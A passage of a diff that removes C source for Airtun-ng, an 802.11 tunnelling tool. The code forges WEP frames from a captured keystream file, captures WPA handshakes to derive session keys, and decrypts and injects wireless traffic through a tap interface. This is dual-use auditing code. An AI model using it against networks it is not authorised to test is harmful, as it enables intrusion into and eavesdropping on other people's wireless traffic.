-		if ((ticks / 1024 * 1000) < msec) continue;
-
-		/* threshold reached */
-		break;
-	}
-
-	return 0;
-}
-
-static int read_prga(unsigned char ** dest, char * file)
-{
-	FILE * f;
-	int size;
-
-	if (file == NULL) return (1);
-	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
-
-	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0)
-	{
-		printf("Is this really a PRGA file: %s?\n", file);
-	}
-
-	f = fopen(file, "r");
-
-	if (f == NULL)
-	{
-		printf("Error opening %s\n", file);
-		return (1);
-	}
-
-	fseek(f, 0, SEEK_END);
-	size = ftell(f);
-	rewind(f);
-
-	if (size > 1500) size = 1500;
-
-	if (fread((*dest), size, 1, f) != 1)
-	{
-		fclose(f);
-		fprintf(stderr, "fread failed\n");
-		return (1);
-	}
-
-	if ((*dest)[3] > 0x03)
-	{
-		printf("Are you really sure that this is a valid keystream? Because "
-			   "the index is out of range (0-3): %02X\n",
-			   (*dest)[3]);
-	}
-
-	opt.prgalen = size;
-
-	fclose(f);
-	return (0);
-}
-
-#define IEEE80211_LLC_SNAP                                                     \
-	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
-
-static int set_IVidx(unsigned char * packet, int data_begin)
-{
-	if (packet == NULL) return 1;
-
-	if (opt.prga == NULL)
-	{
-		printf("Please specify a PRGA file (-y).\n");
-		return 1;
-	}
-
-	/* insert IV+index */
-	memcpy(packet + data_begin, opt.prga, 4);
-
-	return 0;
-}
-
-static int encrypt_data(unsigned char * dest, unsigned char * data, int length)
-{
-	unsigned char cipher[2048];
-	int n;
-
-	if (dest == NULL) return 1;
-	if (data == NULL) return 1;
-	if (length < 1 || length > 2044) return 1;
-
-	if (opt.prga == NULL)
-	{
-		printf("Please specify a PRGA file (-y).\n");
-		return 1;
-	}
-
-	if (opt.prgalen - 4 < length)
-	{
-		printf(
-			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
-			(length + 4));
-		return 1;
-	}
-
-	/* encrypt data */
-	for (n = 0; n < length; n++)
-	{
-		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
-	}
-
-	memcpy(dest, cipher, length);
-
-	return 0;
-}
-
-static int
-create_wep_packet(unsigned char * packet, int * length, int data_begin)
-{
-	if (packet == NULL) return 1;
-
-	/* write crc32 value behind data */
-	if (add_crc32(packet + data_begin, *length - data_begin) != 0) return 1;
-
-	/* encrypt data+crc32 and keep a 4byte hole */
-	if (encrypt_data(packet + data_begin + 4,
-					 packet + data_begin,
-					 *length - (data_begin - 4))
-		!= 0)
-		return 1;
-
-	/* write IV+IDX right in front of the encrypted data */
-	if (set_IVidx(packet, data_begin) != 0) return 1;
-
-	/* set WEP bit */
-	packet[1] = packet[1] | 0x40;
-
-	*length += 8;
-	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
-
-	return 0;
-}
-
-static int packet_xmit(unsigned char * packet, int length)
-{
-	unsigned char K[64];
-	unsigned char buf[4096];
-	struct WPA_ST_info * st_cur;
-	int data_begin = 24;
-	int dest_net;
-
-	if (memcmp(packet, SPANTREE, 6) == 0)
-	{
-		memcpy(h80211,
-			   IEEE80211_LLC_SNAP,
-			   24); // shorter LLC/SNAP - only copy IEEE80211 HEADER
-		memcpy(h80211 + 24, packet + 14, length - 14);
-		//         memcpy(h80211+30, packet+12, 2);
-		length = length + 24
-				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
-	}
-	else
-	{
-		memcpy(h80211, IEEE80211_LLC_SNAP, 32);
-		memcpy(h80211 + 32, packet + 14, length - 14);
-		memcpy(h80211 + 30, packet + 12, 2);
-		length = length + 32
-				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
-	}
-
-	if (opt.tods == 1)
-	{
-		h80211[1] |= 0x01;
-		memcpy(h80211 + 4, opt.r_bssid, 6); // BSSID
-		memcpy(h80211 + 10, packet + 6, 6); // SRC_MAC
-		memcpy(h80211 + 16, packet, 6); // DST_MAC
-	}
-	else if (opt.tods == 2)
-	{
-		h80211[1] |= 0x03;
-		length += 6; // additional MAC addr
-		data_begin += 6;
-		memcpy(buf, h80211 + 24, length - 24);
-		memcpy(h80211 + 30, buf, length - 24);
-
-		memcpy(h80211 + 24, packet + 6, 6); // SRC_MAC
-		memcpy(h80211 + 10, opt.r_trans, 6); // TRANSMITTER
-		memcpy(h80211 + 16, packet, 6); // DST_MAC
-		memcpy(h80211 + 4, opt.r_bssid, 6); // RECEIVER
-	}
-	else
-	{
-		h80211[1] |= 0x02;
-		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
-		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
-		memcpy(h80211 + 4, packet, 6); // DST_MAC
-	}
-
-	if (opt.crypt == CRYPT_WEP)
-	{
-		K[0] = rand() & 0xFF;
-		K[1] = rand() & 0xFF;
-		K[2] = rand() & 0xFF;
-		K[3] = 0x00;
-
-		/* write crc32 value behind data */
-		if (add_crc32(h80211 + data_begin, length - data_begin) != 0) return 1;
-
-		length += 4; // icv
-		memcpy(buf, h80211 + data_begin, length - data_begin);
-		memcpy(h80211 + data_begin + 4, buf, length - data_begin);
-
-		memcpy(h80211 + data_begin, K, 4);
-		length += 4; // iv
-
-		memcpy(K + 3, opt.wepkey, opt.weplen);
-
-		encrypt_wep(h80211 + data_begin + 4,
-					length - data_begin - 4,
-					K,
-					opt.weplen + 3);
-
-		h80211[1] = h80211[1] | 0x40;
-	}
-	else if (opt.crypt == CRYPT_WPA)
-	{
-		/* Add QoS */
-		/*   Doesn't seem to be needed -> commented out */
-		// memmove( h80211 + data_begin + 2, h80211 + data_begin, length -
-		// data_begin );
-		// memset( h80211 + data_begin, 0, 2 );
-		// data_begin += 2;
-		// length += 2;
-		// h80211[0] |= 0x80; // Set QoS
-
-		/* Find station */
-		st_cur = st_1st;
-		while (st_cur != NULL)
-		{
-			// STA -> AP
-			if (opt.tods == 1 && memcmp(st_cur->stmac, packet + 6, 6) == 0)
-				break;
-
-			// AP -> STA
-			if (opt.tods == 0 && memcmp(st_cur->stmac, packet, 6) == 0) break;
-
-			st_cur = st_cur->next;
-		}
-		if (st_cur == NULL)
-		{
-			printf("Cannot inject: handshake not captured yet.\n");
-			return 1;
-		}
-
-		// Todo: overflow to higher bits (pn is 6 bytes wide)
-		st_cur->pn[5] += 1;
-
-		h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag
-
-		encrypt_ccmp(h80211, length, st_cur->ptk + 32, st_cur->pn);
-		length += 16;
-		data_begin += 8;
-	}
-	else if (opt.prgalen > 0)
-	{
-		if (create_wep_packet(h80211, &length, data_begin) != 0) return 1;
-	}
-
-	if ((opt.tods == 2) && opt.bidir)
-	{
-		dest_net = get_entry(packet); // Search the list to determine in which
-		// network part to send the packet.
-		if (dest_net == 0)
-		{
-			send_packet(h80211, length);
-		}
-		else if (dest_net == 1)
-		{
-			swap_ra_ta(h80211);
-			send_packet(h80211, length);
-		}
-		else
-		{
-			send_packet(h80211, length);
-			swap_ra_ta(h80211);
-			send_packet(h80211, length);
-		}
-	}
-	else
-	{
-		send_packet(h80211, length);
-	}
-
-	return 0;
-}
-
-static int packet_recv(unsigned char * packet, int length)
-{
-	unsigned char K[64];
-	unsigned char bssid[6], smac[6], dmac[6], stmac[6];
-	unsigned char * buffer;
-	unsigned long crc;
-
-	int len;
-	int z;
-	int fragnum, seqnum, morefrag;
-	int process_packet;
-
-	struct WPA_ST_info * st_cur;
-	struct WPA_ST_info * st_prv;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-	if ((packet[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-
-	if (length < z + 8)
-	{
-		return 1;
-	}
-
-	// FromDS/ToDS fields
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			memset(stmac, 0, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			memcpy(stmac, packet + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			memcpy(stmac, packet + 4, 6);
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			memcpy(stmac, packet + 4, 6);
-			break;
-	}
-
-	fragnum = packet[22] & 0x0F;
-	seqnum = (packet[22] >> 4) | (packet[23] << 4);
-	morefrag = packet[1] & 0x04;
-
-	/* Fragment? */
-	if (fragnum > 0 || morefrag)
-	{
-		addFrag(packet, smac, length);
-		buffer = getCompleteFrag(smac, seqnum, &len);
-		timeoutFrag();
-
-		/* we got frag, no compelete packet avail -> do nothing */
-		if (buffer == NULL) return 1;
-
-		//             printf("got all frags!!!\n");
-		memcpy(packet, buffer, len);
-		length = len;
-		free(buffer);
-		buffer = NULL;
-	}
-
-	process_packet = 0;
-
-	// In WDS mode we want to see packets from both sides of the network
-	if ((packet[0] & 0x08) == 0x08)
-	{
-		if (memcmp(bssid, opt.r_bssid, 6) == 0)
-		{
-			process_packet = 1;
-		}
-		else if (opt.tods == 2 && memcmp(bssid, opt.r_trans, 6) == 0)
-		{
-			process_packet = 1;
-		}
-	}
-
-	if (process_packet)
-	{
-		/* find station */
-
-		st_prv = NULL;
-		st_cur = st_1st;
-
-		while (st_cur != NULL)
-		{
-			if (!memcmp(st_cur->stmac, stmac, 6)) break;
-
-			st_prv = st_cur;
-			st_cur = st_cur->next;
-		}
-
-		/* if it's a new station, add it */
-
-		if (st_cur == NULL)
-		{
-			if (!(st_cur
-				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
-			{
-				perror("malloc failed");
-				return 1;
-			}
-
-			memset(st_cur, 0, sizeof(struct WPA_ST_info));
-
-			if (st_1st == NULL)
-				st_1st = st_cur;
-			else
-				st_prv->next = st_cur;
-
-			memcpy(st_cur->stmac, stmac, 6);
-			memcpy(st_cur->bssid, bssid, 6);
-		}
-
-		/* check if we haven't already processed this packet */
-
-		crc = calc_crc_buf(packet + z, length - z);
-
-		if ((packet[1] & 3) == 2)
-		{
-			if (st_cur->t_crc == crc)
-			{
-				return 1;
-			}
-
-			st_cur->t_crc = crc;
-		}
-		else
-		{
-			if (st_cur->f_crc == crc)
-			{
-				return 1;
-			}
-
-			st_cur->f_crc = crc;
-		}
-
-		/* check the SNAP header to see if data is encrypted *
-		 * as unencrypted data begins with AA AA 03 00 00 00 */
-
-		if (packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
-		{
-			/* check the extended IV flag */
-
-			if ((packet[z + 3] & 0x20) == 0)
-			{
-				if (opt.crypt != CRYPT_WEP) return 1;
-
-				memcpy(K, packet + z, 3);
-				memcpy(K + 3, opt.wepkey, opt.weplen);
-
-				if (decrypt_wep(
-						packet + z + 4, length - z - 4, K, 3 + opt.weplen)
-					== 0)
-				{
-					printf("ICV check failed!\n");
-					return 1;
-				}
-
-				/* WEP data packet was successfully decrypted, *
-				 * remove the WEP IV & ICV and write the data  */
-
-				length -= 8;
-
-				/* can overlap */
-				memmove(packet + z, packet + z + 4, length - z);
-
-				packet[1] &= 0xBF;
-			}
-			else
-			{
-				if (opt.crypt != CRYPT_WPA) return 1;
-
-				/* if the PTK is valid, try to decrypt */
-
-				if (st_cur == NULL || !st_cur->valid_ptk) return 1;
-
-				if (st_cur->keyver == 1)
-				{
-					if (decrypt_tkip(packet, length, st_cur->ptk + 32) == 0)
-					{
-						printf("ICV check failed (WPA-TKIP)!\n");
-						return 1;
-					}
-
-					length -= 20;
-				}
-				else
-				{
-					if (memcmp(smac, st_cur->stmac, 6) == 0)
-					{
-						st_cur->pn[0] = packet[z + 7];
-						st_cur->pn[1] = packet[z + 6];
-						st_cur->pn[2] = packet[z + 5];
-						st_cur->pn[3] = packet[z + 4];
-						st_cur->pn[4] = packet[z + 1];
-						st_cur->pn[5] = packet[z + 0];
-					}
-
-					if (decrypt_ccmp(packet, length, st_cur->ptk + 32) == 0)
-					{
-						printf("ICV check failed (WPA-CCMP)!\n");
-						return 1;
-					}
-
-					length -= 16;
-				}
-
-				/* WPA data packet was successfully decrypted, *
-				 * remove the WPA Ext.IV & MIC, write the data */
-
-				/* can overlap */
-				memmove(packet + z, packet + z + 8, length - z);
-
-				packet[1] &= 0xBF;
-			}
-		}
-		else if (opt.crypt == CRYPT_WPA)
-		{
-			/* check ethertype == EAPOL */
-
-			z += 6;
-
-			if (packet[z] != 0x88 || packet[z + 1] != 0x8E)
-			{
-				return 1;
-			}
-
-			z += 2;
-
-			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-			if (packet[z + 1] != 0x03
-				|| (packet[z + 4] != 0xFE && packet[z + 4] != 0x02))
-				return 1;
-
-			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
-				&& (packet[z + 6] & 0x80) != 0
-				&& (packet[z + 5] & 0x01) == 0)
-			{
-				/* set authenticator nonce */
-
-				memcpy(st_cur->anonce, &packet[z + 17], 32);
-			}
-
-			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
-
-			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
-				&& (packet[z + 6] & 0x80) == 0
-				&& (packet[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
-				{
-					/* set supplicant nonce */
-
-					memcpy(st_cur->snonce, &packet[z + 17], 32);
-				}
-
-				/* copy the MIC & eapol frame */
-
-				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
-
-				if (length - z < (int) st_cur->eapol_size
-					|| st_cur->eapol_size == 0
-					|| st_cur->eapol_size > sizeof(st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->eapol_size = 0;
-					return 1;
-				}
-
-				memcpy(st_cur->keymic, &packet[z + 81], 16);
-				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
-				memset(st_cur->eapol + 81, 0, 16);
-
-				/* copy the key descriptor version */
-
-				st_cur->keyver = packet[z + 6] & 7;
-			}
-
-			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
-				&& (packet[z + 6] & 0x80) != 0
-				&& (packet[z + 5] & 0x01) != 0)
-			{
-				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
-				{
-					/* set authenticator nonce */
-
-					memcpy(st_cur->anonce, &packet[z + 17], 32);
-				}
-
-				/* copy the MIC & eapol frame */
-
-				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
-
-				if (length - z < (int) st_cur->eapol_size
-					|| st_cur->eapol_size == 0
-					|| st_cur->eapol_size > sizeof(st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->eapol_size = 0;
-					return 1; // continue;
-				}
-
-				memcpy(st_cur->keymic, &packet[z + 81], 16);
-				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
-				memset(st_cur->eapol + 81, 0, 16);
-
-				/* copy the key descriptor version */
-
-				st_cur->keyver = packet[z + 6] & 7;
-			}
-
-			st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
-
-			if (st_cur->valid_ptk)
-			{
-				printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n",
-					   st_cur->stmac[0],
-					   st_cur->stmac[1],
-					   st_cur->stmac[2],
-					   st_cur->stmac[3],
-					   st_cur->stmac[4],
-					   st_cur->stmac[5]);
-			}
-		}
-
-		switch (packet[1] & 3)
-		{
-			case 1:
-				memcpy(h80211, packet + 16, 6); // DST_MAC
-				memcpy(h80211 + 6, packet + 10, 6); // SRC_MAC
-				break;
-			case 2:
-				memcpy(h80211, packet + 4, 6); // DST_MAC
-				memcpy(h80211 + 6, packet + 16, 6); // SRC_MAC
-				break;
-			case 3:
-				memcpy(h80211, packet + 16, 6); // DST_MAC
-				memcpy(h80211 + 6, packet + 24, 6); // SRC_MAC
-				break;
-			default:
-				break;
-		}
-
-		/* Keep track of known MACs, so we only have to tunnel into one side of
-		 * the WDS network */
-		if (((packet[1] & 3) == 3) && opt.bidir)
-		{
-			if (!memcmp(packet + 10, opt.r_bssid, 6))
-			{
-				set_entry(packet + 24, 0);
-			}
-			if (!memcmp(packet + 10, opt.r_trans, 6))
-			{
-				set_entry(packet + 24, 1);
-			}
-		}
-
-		if (memcmp(dmac, SPANTREE, 6) == 0)
-		{
-			if (length <= z + 8) return 1;
-
-			memcpy(h80211 + 14, packet + z, length - z);
-
-			length = length - z + 14;
-
-			h80211[12] = ((length - 14) >> 8) & 0xFF;
-			h80211[13] = (length - 14) & 0xFF;
-		}
-		else
-		{
-			memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
-
-			if (length <= z + 8) return 1;
-
-			memcpy(h80211 + 14, packet + z + 8, length - z - 8);
-			length = length - z - 8 + 14;
-		}
-
-		ti_write(dev.dv_ti, h80211, length);
-	}
-	else
-	{
-		return 1;
-	}
-
-	return 0;
-}
-
-int main(int argc, char * argv[])
-{
-	int ret_val, len, i, n, ret;
-	struct pcap_pkthdr pkh;
-	fd_set read_fds;
-	unsigned char buffer[4096];
-	unsigned char bssid[6];
-	char *s, buf[128];
-	int caplen;
-
-#ifdef USE_GCRYPT
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-
-	/* check the arguments */
-
-	memset(&opt, 0, sizeof(opt));
-	memset(&dev, 0, sizeof(dev));
-
-	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
-	memset(rFragment, 0, sizeof(struct Fragment_list));
-
-	opt.r_nbpps = 100;
-	opt.tods = 0;
-
-	srand(time(NULL));
-
-	while (1)
-	{
-		int option_index = 0;
-
-		static struct option long_options[] = {{"netmask", 1, 0, 'm'},
-											   {"bssid", 1, 0, 'd'},
-											   {"repeat", 0, 0, 'f'},
-											   {"help", 0, 0, 'H'},
-											   {0, 0, 0, 0}};
-
-		int option = getopt_long(argc,
-								 argv,
-								 "x:a:h:i:r:y:t:s:bw:p:e:m:d:fH",
-								 long_options,
-								 &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'x':
-
-				ret = sscanf(optarg, "%d", &opt.r_nbpps);
-				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
-				{
-					printf("Invalid number of packets per second. [1-1024]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'a':
-
-				if (getmac(optarg, 1, opt.r_bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'h':
-
-				if (getmac(optarg, 1, opt.r_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'y':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (read_prga(&(opt.prga), optarg) != 0)
-				{
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'i':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_face = optarg;
-				break;
-
-			case 't':
-
-				if (atoi(optarg) == 1)
-					opt.tods = 1;
-				else if (atoi(optarg) == 2)
-					opt.tods = 2;
-				else
-					opt.tods = 0;
-				break;
-
-			case 's':
-
-				if (getmac(optarg, 1, opt.r_trans) != 0)
-				{
-					printf("Invalid Transmitter MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'b':
-
-				opt.bidir = 1;
-				break;
-
-			case 'w':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WEP;
-
-				i = 0;
-				s = optarg;
-
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid WEP key.\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-
-					opt.wepkey[i++] = n;
-
-					if (i >= 64) break;
-
-					s += 2;
-
-					if (s[0] == ':' || s[0] == '-') s++;
-
-					if (s[0] == '\0' || s[1] == '\0') break;
-
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
-				{
-					printf("Invalid WEP key length.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.weplen = i;
-
-				break;
-
-			case 'e':
-
-				if (opt.essid[0])
-				{
-					printf("ESSID already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WPA;
-
-				memset(opt.essid, 0, sizeof(opt.essid));
-				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
-				break;
-
-			case 'p':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WPA;
-
-				memset(opt.passphrase, 0, sizeof(opt.passphrase));
-				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
-
-				break;
-
-			case 'm':
-
-				if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
-				{
-					printf("Notice: netmask already given\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					break;
-				}
-				if (getmac(optarg, 1, opt.f_netmask) != 0)
-				{
-					printf("Notice: invalid netmask\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-			case 'd':
-				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
-				{
-					printf("Notice: bssid already given\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					break;
-				}
-				if (getmac(optarg, 1, opt.f_bssid) != 0)
-				{
-					printf("Notice: invalid bssid\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-			case 'f':
-				opt.repeat = 1;
-				break;
-			case 'r':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_file = optarg;
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Airtun-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (argc - optind != 1)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(
-				usage,
-				getVersion(
-					"Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No replay interface specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
-		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
-	{
-		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a BSSID (-a).\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return 1;
-	}
-
-	if ((memcmp(opt.r_trans, NULL_MAC, 6) == 0) && opt.tods == 2)
-	{
-		printf("Please specify a Transmitter (-s).\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return 1;
-	}
-
-	if (opt.crypt == CRYPT_WPA)
-	{
-		if (opt.passphrase[0] != '\0')
-		{
-			/* compute the Pairwise Master Key */
-
-			if (opt.essid[0] == '\0')
-			{
-				printf("You must also specify the ESSID (-e).\n");
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-			}
-
-			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
-		}
-	}
-
-	dev.fd_rtc = -1;
-
-/* open the RTC device if necessary */
-
-#if defined(__i386__)
-#if defined(linux)
-	if (1)
-	{
-		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
-		{
-			dev.fd_rtc = 0;
-		}
-
-		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
-		{
-			dev.fd_rtc = 0;
-		}
-
-		if (dev.fd_rtc > 0)
-		{
-			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, 1024) < 0)
-			{
-				perror("ioctl(RTC_IRQP_SET) failed");
-				printf("Make sure enhanced rtc device support is enabled in "
-					   "the kernel (module\n"
-					   "rtc, not genrtc) - also try 'echo 1024 "
-					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
-				close(dev.fd_rtc);
-				dev.fd_rtc = -1;
-			}
-			else
-			{
-				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
-				{
-					perror("ioctl(RTC_PIE_ON) failed");
-					close(dev.fd_rtc);
-					dev.fd_rtc = -1;
-				}
-			}
-		}
-		else
-		{
-			printf("For information, no action required:"
-				   " Using gettimeofday() instead of /dev/rtc\n");
-			dev.fd_rtc = -1;
-		}
-	}
-#endif /* linux */
-#endif /* __i386__ */
-
-	/* open the replay interface */
-	_wi_out = wi_open(argv[optind]);
-	if (!_wi_out) return 1;
-	dev.fd_out = wi_fd(_wi_out);
-
-	/* open the packet source */
-	if (opt.s_face != NULL)
-	{
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-	}
-	else
-	{
-		_wi_in = _wi_out;
-		dev.fd_in = dev.fd_out;
-	}
-
-	/* drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* XXX */
-	if (opt.r_nbpps == 0)
-	{
-		if (dev.is_wlanng || dev.is_hostap)
-			opt.r_nbpps = 200;
-		else
-			opt.r_nbpps = 500;
-	}
-
-	if (opt.s_file != NULL)
-	{
-		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic != TCPDUMP_MAGIC
-			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					opt.s_file);
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
-
-		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	dev.dv_ti = ti_open(NULL);
-	if (!dev.dv_ti)
-	{
-		printf("error opening tap device: %s\n", strerror(errno));
-		return -1;
-	}
-	printf("created tap interface %s\n", ti_name(dev.dv_ti));
-
-	if (opt.prgalen <= 0 && opt.crypt == CRYPT_NONE)
-	{
-		printf("No encryption specified. Sending and receiving frames through "
-			   "%s.\n",
-			   argv[optind]);
-	}
-	else if (opt.crypt == CRYPT_WPA)
-	{
-		printf("WPA encryption specified. Sending and receiving frames through "
-			   "%s.\n",
-			   argv[optind]);
-	}
-	else if (opt.crypt == CRYPT_WEP)
-	{
-		printf("WEP encryption specified. Sending and receiving frames through "
